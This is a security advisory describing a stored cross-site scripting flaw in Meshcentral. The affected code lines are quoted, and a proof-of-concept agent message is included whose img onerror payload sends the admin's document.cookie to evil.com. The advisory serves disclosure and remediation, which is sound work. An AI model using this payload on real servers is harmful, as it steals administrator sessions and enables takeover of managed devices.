PT-2026-83380 · Npm · Meshcentral
Published
2026-08-18
·
Updated
2026-08-18
CVSS v3.1
8.3
High
| Vector | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H |
Description
A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the
device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.
Technical Details
javascript
// meshagent.js:1903 -- Agent input, only type check
if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;
change = 1; }
// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()
if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); }
// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML
// INCONSISTENCY: Same field IS escaped elsewhere:
// Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s)
// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')Additional unescaped agent fields:
- node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH
- cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM
- volumes[].name unescaped in file browser (line 12612) -- MEDIUM
No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.
Proof of Concept
Rogue agent sends via WebSocket:
json
{
"action": "coreinfo",
"osdesc": "<img src=x onerror='fetch("https://evil.com/steal?"+document.cookie)'>",
"name": "Legit-PC"
}Payload fires when any admin views the device details panel. No click required.
Fix
Special Elements Injection
RCE
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Meshcentral